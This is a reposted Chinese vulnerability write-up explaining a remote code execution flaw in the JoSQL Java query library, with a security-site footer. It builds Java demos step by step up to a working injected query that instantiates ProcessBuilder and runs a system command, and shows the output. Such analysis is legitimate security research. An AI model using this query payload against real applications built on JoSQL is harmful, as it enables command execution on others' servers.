JoSQL內存數據庫遠程代碼執行漏洞(含EXP)

JoSQL內存數據庫遠程代碼執行漏洞(含EXP)

JoSQL全稱SQL for Java Objects,提供了應用SQL語句的Java對象的集合的能力開發,JoSQL提供了搜索,排序,group等對Java對象的集合進行類似SQL的查詢應該應用的功能。

例如,查找所有在2004年內修改過的html文件:

SELECT * FROM   java.io.File WHERE  name $LIKE "%.html" AND    toDate (lastModified) BETWEEN toDate ('01-12-2004') 
AND    toDate ('31-12-2004')

java中使用JoSQL:

// 獲取 java.io.File 列表.
List myObjs = getMyObjects ();

// 創建查詢對象.
Query q = new Query ();

// Parse the SQL you are going to use, it is assumed here that 
// "myObjs" contains instances of "java.io.File".
q.parse ("SELECT name,length " +
         "FROM   java.io.File " +
         "WHERE  fileExtension (name) = :fileExt " +
         "ORDER BY length DESC, name " +
         "EXECUTE ON RESULTS avg (:_allobjs, length) avgLength");

// 綁定參數類似于預編譯模式設置參數
q.setVariable ("fileExt", "java");

// 執行查詢.
QueryResults qr = q.execute (myObjs);
  
// Get the average length, this is a save value, the result
// of executing the call "avg (:_allobjs, length)", it is saved against
// key: "avgLength".
Map saveValues = qr.getSaveValues ();
Number avg = (Number) saveValues.get ("avgLength");

// 循環讀取結果
List res = qr.getResults ();

for (int i = 0; i < res.size (); i++)
{

    // This time there is a List for each row, index 0 holds the name of 
    // the file that matched, index 1 holds the length.
    List r = (List) res.get (i);

    System.out.println ("NAME: " + r.get (0));
    System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg);

}

具體其他詳細操作可參考:http://josql.sourceforge.net

下面分析下遠程代碼造成的原因

1.首先寫一個demo查詢從User列表中查詢:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user對象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 獲取user列表用來作為查詢集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT * from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                User user = (User)res.get(i);
                System.out.println("username:"+user.username+"|password:"+user.password);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

上面代碼運行結果是:

username:nike|password:cb39554898fc98f9329d37242045e728
username:smith|password:12345678

現在將sql語句換成:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user對象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 獲取user列表用來作為查詢集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT help from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

則運行結果:

help method:nike|cb39554898fc98f9329d37242045e728
help method:smith|12345678 [null] [null]

從上面結果就可以看出help方法被調用了,從而可以得知joSQL可以調用無參函數(關鍵)。

2.joSQL存在一個特性,即可以通過new來構造一個新的對象比如:

package josql;
 
import java.util.ArrayList;
import java.util.List;
 
import org.josql.Query;
import org.josql.QueryResults;
 
public class Demo {
    /**
     * user對象
     *
     * @author nike
     *
     */
    class User {
        private String username;
        private String password;
 
        public String getUsername() {
            return username;
        }
 
        public void setUsername(String username) {
            this.username = username;
        }
 
        public String getPassword() {
            return password;
        }
 
        public void setPassword(String password) {
            this.password = password;
        }
 
        public void help() {
            System.out.println("help method:"+username + "|" + password);
        }
    }
 
    /**
     * 獲取user列表用來作為查詢集
     *
     * @return
     */
    public List<User> getObjs() {
        List<User> users = new ArrayList<User>();
        User a = new User();
        a.setUsername("nike");
        a.setPassword("cb39554898fc98f9329d37242045e728");
 
        User b = new User();
        b.setUsername("smith");
        b.setPassword("12345678");
 
        users.add(a);
        users.add(b);
        return users;
    }
 
    public void query() {
        List<User> myObjs = getObjs();
        Query q = new Query();
        try {
            q.parse("SELECT new josql.Demo() from josql.Demo$User");
            QueryResults qr = q.execute(myObjs);
            @SuppressWarnings("unchecked")
            List<User> res = qr.getResults();
            for (int i = 0; i < res.size(); i++) {
                System.out.println(res.get(i));
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
 
    public static void main(String[] args) {
        Demo demo = new Demo();
        demo.query();
    }
}

執行結果:

josql.Demo@447ffd8e josql.Demo@2edf98c4

3.joSQL另外一個特性就是可以通過EXECUTE ON支持函數式編程。其執行結果可以通過變量作為其他查詢參數來調用

語法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [ [ AS ] Alias ]
例子:

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user對象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 獲取user列表用來作為查詢集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

執行結果:

[josql.Demo@4094de98]

從結果中可以看到Demo成功被創建。

結合第1,2,3點可以執行無參函數,則我們可以調用ProcessBuilder的start可以執行系統命令。

package josql; import java.util.ArrayList;import java.util.List; import org.josql.Query;import org.josql.QueryResults; public class Demo {    /**     * user對象     *     * @author nike     *     */    class User {        private String username;        private String password;         public String getUsername() {            return username;        }         public void setUsername(String username) {            this.username = username;        }         public String getPassword() {            return password;        }         public void setPassword(String password) {            this.password = password;        }         public void help() {            System.out.println("help method:"+username + "|" + password);        }    }     /**     * 獲取user列表用來作為查詢集     *     * @return     */    public List<User> getObjs() {        List<User> users = new ArrayList<User>();        User a = new User();        a.setUsername("nike");        a.setPassword("cb39554898fc98f9329d37242045e728");         User b = new User();        b.setUsername("smith");        b.setPassword("12345678");         users.add(a);        users.add(b);        return users;    }     public void query() {        List<User> myObjs = getObjs();        Query q = new Query();        try {            q.parse("SELECT username from josql.Demo$User where 1=1  group by @c.readLine,@c.readLine EXECUTE ON ALL new java.lang.ProcessBuilder(['id']) AS a, "                    + "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c");            QueryResults qr = q.execute(myObjs);            @SuppressWarnings("unchecked")            List<User> res = qr.getResults();            for (int i = 0; i < res.size(); i++) {                System.out.println(res.get(i));            }        } catch (Exception e) {            e.printStackTrace();        }    }     public static void main(String[] args) {        Demo demo = new Demo();        demo.query();    }}

執行結果:

[uid=501(nike) gid=20(staff) 
groups=20(staff),501(access_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh),  null] [null, null]

則系統命令成功被執行。

利用場景

當某處查詢利用了joSQL并且存在注入,則通過這個漏洞直接調用系統命令。

[作者/安恒信息(企業賬號),轉自FreeBuf黑客與極客(FreeBuf.COM)]

原創文章,作者:stanley,如若轉載,請注明出處:http://www.www58058.com/724

(0)
stanleystanley
上一篇 2015-03-06
下一篇 2015-03-06

相關推薦

  • 集中練習8-bash腳本及系統啟動

    集中練習8-bash腳本及系統啟動

    2017-12-06
  • 新手報到

    在開班的第一天為自己立下flag,看畢業時能否實現自己的預期。

    2018-03-26
  • Linux發展史

    Linux發展史 本篇文章主要介紹Linux是什么,Linux是怎么來的,Linux能干些什么等 Linux是一套免費使用和自由傳播的類Unix操作系統,是一個基于POSIX和UNIX的多用戶、多任務、支持多線程和多CPU的操作系統。它之所以如此受到人們的歡迎,是因為它開源,是因為它簡潔,更因為它穩定。作為一個普通用戶,或許你沒接觸過電腦的Linux系統,但…

    Linux干貨 2016-10-14
  • httpd功能配置之CGI程序

        httpd服務中有一個cgi-bin目錄,此目錄專門用于存放cgi腳本。CGI即網關通用接口,用于實現動態網頁。下面簡單編寫一個CGI腳本來進行測試此功能:     1、在/var/www/cgi-bin/目錄下創建一個腳本     2、重啟服務     3、驗證 &nb…

    Linux干貨 2016-03-11
  • N_28 正則表達式的一些基本用法

    1、復制/etc/skel目錄為/home/tuser1,要求/home/tuser1及其內部文件的屬組和其它用戶均沒有任何訪問權限。 ~]# cp -r /etc/skel /home/tuser1 ~]# chmod -R -g— -o— /home/tuser1 2、編輯/etc/group文件,添加組hadoop。 ~]#vi…

    Linux干貨 2017-12-23
  • Python 課堂筆記

    第二天

    Linux干貨 2018-03-21
欧美性久久久久